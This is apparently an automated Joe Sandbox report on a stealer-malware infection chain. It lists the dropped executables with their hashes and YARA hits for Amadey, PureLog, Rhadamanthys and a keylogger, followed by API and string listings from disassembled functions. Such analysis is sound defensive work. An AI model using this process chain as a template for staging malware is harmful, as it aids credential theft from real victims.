Show Windows behavior

Target ID:	16
Start time:	09:21:38
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xd00000
File size:	2'956'800 bytes
MD5 hash:	3A61C20A67DE482B185AB4698AA6B4E1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000010.00000002.2759867420.0000000000D01000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000010.00000003.2719104644.00000000047E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	09:22:00
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xd00000
File size:	2'956'800 bytes
MD5 hash:	3A61C20A67DE482B185AB4698AA6B4E1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000011.00000002.3322148695.0000000000D01000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000011.00000003.2925063358.0000000004BB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	09:22:15
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe"
Imagebase:	0x1c0000
File size:	3'286'016 bytes
MD5 hash:	C00A67D527EF38DC6F49D0AD7F13B393
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000012.00000000.3063995595.00000000001C2000.00000002.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	09:22:15
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe"
Imagebase:	0x1b0000
File size:	3'286'016 bytes
MD5 hash:	C00A67D527EF38DC6F49D0AD7F13B393
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	09:22:16
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe"
Imagebase:	0xec0000
File size:	3'286'016 bytes
MD5 hash:	C00A67D527EF38DC6F49D0AD7F13B393
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	09:22:23
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe"
Imagebase:	0x3f0000
File size:	2'037'760 bytes
MD5 hash:	2D17CA2A92D934F28AEC4E2B217FEBEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000015.00000003.3178108749.00000000052C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000015.00000003.3180591378.0000000005C10000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000015.00000003.3180345649.00000000059F0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000015.00000003.3185126832.00000000054F0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	09:22:26
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\svchost.exe"
Imagebase:	0x7b0000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000016.00000003.3184439124.0000000003160000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000016.00000003.3188101830.0000000005330000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000016.00000003.3187895293.0000000005110000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000016.00000002.3197552170.0000000003170000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	09:22:27
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5412 -s 660
Imagebase:	0xb60000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	09:22:30
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe"
Imagebase:	0x4d0000
File size:	765'568 bytes
MD5 hash:	8A9CB17C0224A01BD34B46495983C50A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 71%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	09:22:30
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	09:22:34
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe"
Imagebase:	0x4d0000
File size:	765'568 bytes
MD5 hash:	8A9CB17C0224A01BD34B46495983C50A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C4D35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C55F688,00001000), ref: 6C4D35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C4D35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C4D35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C4D363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C4D369F
__aulldiv.LIBCMT ref: 6C4D36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C4D3773
EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4D377E
LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4D37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C4D37C4
EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4D37CB
LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4D3801
__aulldiv.LIBCMT ref: 6C4D3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C4D3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C4D3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C4D394C

Strings

MOZ_TIMESTAMP_MODE, xrefs: 6C4D35DB
GTC, xrefs: 6C4D3912
GenuntelineI, xrefs: 6C4D3639
AuthcAMDenti, xrefs: 6C4D3946
QPC, xrefs: 6C4D38FC

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 154eb6a18c9d98a79f58d991c35f3955437efe96b466d544edf1895e877b6a1e
Instruction ID: d69a3b7f6e575d2c01b89d5b92c17a87622fa83b3f866037841364b4a7d22862
Opcode Fuzzy Hash: 154eb6a18c9d98a79f58d991c35f3955437efe96b466d544edf1895e877b6a1e
Instruction Fuzzy Hash: 11B1C671B053109FDB08EF28CC54B1A7BF5BB89704F468A2EE899D7790D774A804CB95

Function 6C4EC930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C4EC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C4EC969
GetSystemInfo.KERNEL32(?), ref: 6C4EC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C4EC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C4EC9E2

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: b2f137c3aabe2da4d7dd855430fb3a2fcdd2b96252e2c6af496ada89fbfce4cf
Instruction ID: 3486bdc2898a9c3590216026ac65d98bfd3b8615ef31126aa4673aadb22cde49
Opcode Fuzzy Hash: b2f137c3aabe2da4d7dd855430fb3a2fcdd2b96252e2c6af496ada89fbfce4cf
Instruction Fuzzy Hash: 01210A31741204ABDB04EB64DC88FAE77B9AF8A345F920119F903A7740EB606C0087A4

Function 6C4D3060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C4D3095

Part of subcall function 6C4D35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C55F688,00001000), ref: 6C4D35D5
Part of subcall function 6C4D35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C4D35E0
Part of subcall function 6C4D35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C4D35FD
Part of subcall function 6C4D35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C4D363F
Part of subcall function 6C4D35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C4D369F
Part of subcall function 6C4D35A0: __aulldiv.LIBCMT ref: 6C4D36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4D309F

Part of subcall function 6C4F5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B85
Part of subcall function 6C4F5B50: EnterCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B90
Part of subcall function 6C4F5B50: LeaveCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5BD8
Part of subcall function 6C4F5B50: GetTickCount64.KERNEL32 ref: 6C4F5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C4D30BE

Part of subcall function 6C4D30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C4D3127
Part of subcall function 6C4D30F0: __aulldiv.LIBCMT ref: 6C4D3140

Part of subcall function 6C50AB2A: __onexit.LIBCMT ref: 6C50AB30

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: dc9ba6dc67c29752abec7210b57982786cf2620e7d1ab562632767205609725d
Instruction ID: 66097be16bfdabe81cced5cd634c997d94d1efe024e7a8a03a8a637d5ed1624c
Opcode Fuzzy Hash: dc9ba6dc67c29752abec7210b57982786cf2620e7d1ab562632767205609725d
Instruction Fuzzy Hash: 6CF02D32E2074897CB10EF348C916E77770AFAB114F92531DE845535A1FB2071D883C9

Non-executed Functions

Function 6C4E5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C4E5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C4E54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C4E54BE
__Init_thread_footer.LIBCMT ref: 6C4E54DB

Part of subcall function 6C50AB3F: EnterCriticalSection.KERNEL32(6C55E370,?,?,6C4D3527,6C55F6CC,?,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB49
Part of subcall function 6C50AB3F: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D3527,6C55F6CC,?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50AB7C

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

GetCurrentThreadId.KERNEL32 ref: 6C4E54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C4E5516
GetCurrentThreadId.KERNEL32 ref: 6C4E556A
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4E5577
moz_xmalloc.MOZGLUE(00000070), ref: 6C4E5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C4E5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C4E55E6
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4E5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4E5616

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

GetCurrentThreadId.KERNEL32 ref: 6C4E563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4E5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C4E567C
free.MOZGLUE(?), ref: 6C4E56AE

Part of subcall function 6C4F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
Part of subcall function 6C4F5E90: memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
Part of subcall function 6C4F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C4E56E8
GetCurrentThreadId.KERNEL32 ref: 6C4E5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C4E570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C4E5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C4E574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C4E576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C4E5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C4E57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C4E57CA

Strings

[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C4E584E
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C4E57C5
[I %d/%d] profiler_init, xrefs: 6C4E564E
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C4E5766
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C4E5B38
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C4E5724
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C4E5717
MOZ_PROFILER_STARTUP, xrefs: 6C4E55E1
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C4E54A3
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C4E5D01
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C4E57AE
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C4E54B9
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C4E5CF9
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C4E5C56
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C4E5D1C
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C4E5D2B
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C4E5791
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C4E5AC9
GeckoMain, xrefs: 6C4E5554, 6C4E55D5
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C4E548D
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C4E5749
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C4E56E3
MOZ_BASE_PROFILER_HELP, xrefs: 6C4E5511
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C4E5D24
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C4E5BBE

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 9c3e4725b7f09fa41ce98517a0beaed07d9bc87a07dce8357d4be76c915039ac
Instruction ID: c6530db8d483001a9cc3a5be6f4a3ddaa2171a2141896f4e08c50ecbdeb1dc71
Opcode Fuzzy Hash: 9c3e4725b7f09fa41ce98517a0beaed07d9bc87a07dce8357d4be76c915039ac
Instruction Fuzzy Hash: 26223774A043009FE700EF758C08E5A7BF1BF8A34EF86452AE84997B41EB319855CB57

Function 6C51B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C51B845
AcquireSRWLockExclusive.KERNEL32(6C55F4B8,?,?,00000000), ref: 6C51B852
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51B884
InitializeConditionVariable.KERNEL32(?), ref: 6C51B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C51B9FD
GetCurrentThreadId.KERNEL32 ref: 6C51BA05
AcquireSRWLockExclusive.KERNEL32(6C55F4B8,?,?,00000000), ref: 6C51BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C51BA27
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51BA4B
free.MOZGLUE(?), ref: 6C51C9C7
free.MOZGLUE(?), ref: 6C51C9DC

Strings

[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C51C878
[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C51C7DA

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 70943bde00145e8fcf125b3d5895a057f425cfb559b469f8ea2077880fbe5164
Instruction ID: f1613b9c6a0f6f171ad42f7b8f67fdec7367b8082a77b475d31e27ae16e26214
Opcode Fuzzy Hash: 70943bde00145e8fcf125b3d5895a057f425cfb559b469f8ea2077880fbe5164
Instruction Fuzzy Hash: 02A2A071A083808FD725DF28C884B9FB7E5BFC9314F458A2DE89997750DB71A905CB82

Function 6C4E6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C4E6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C4E6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C4E6D26

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C4E6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C4E6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C4E6D73
free.MOZGLUE(00000000), ref: 6C4E6D80
CertGetNameStringW.CRYPT32 ref: 6C4E6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C4E6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C4E6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C4E6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C4E6E10
CryptMsgClose.CRYPT32(00000000), ref: 6C4E6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C4E6E34
CreateFileW.KERNEL32 ref: 6C4E6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C4E6F7D
